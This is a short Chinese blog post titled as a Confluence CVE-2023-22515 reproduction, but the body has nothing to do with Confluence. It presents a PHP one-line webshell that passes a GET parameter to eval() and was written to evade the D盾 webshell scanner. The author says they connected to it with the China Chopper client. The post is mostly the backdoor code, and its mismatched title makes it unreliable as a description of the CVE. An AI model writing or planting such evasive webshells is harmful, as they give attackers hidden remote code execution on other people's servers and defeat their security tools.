Confluence CVE-2023-22515漏洞复现

前言

这个过D盾的一句话纯属是我瞎搞，搞出来的。= =我也一脸懵逼怎么就过了= =

正文

D盾的最新版的，php环境是5.6的

代码：

<?php
error_reporting(0); 
$u=$_GET['u'];
$i=$_GET['i'];
if ($u=!"a"){
    die('die....');
}
@eval("echo $i");
?>

测试结果：

菜刀连接（这配置自己弄的好像有毛病）

视频：

推荐一篇文章：那些强悍的PHP一句话后门 - FreeBuf互联网安全新媒体平台

转载请声明：转自422926799.github.io

---

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。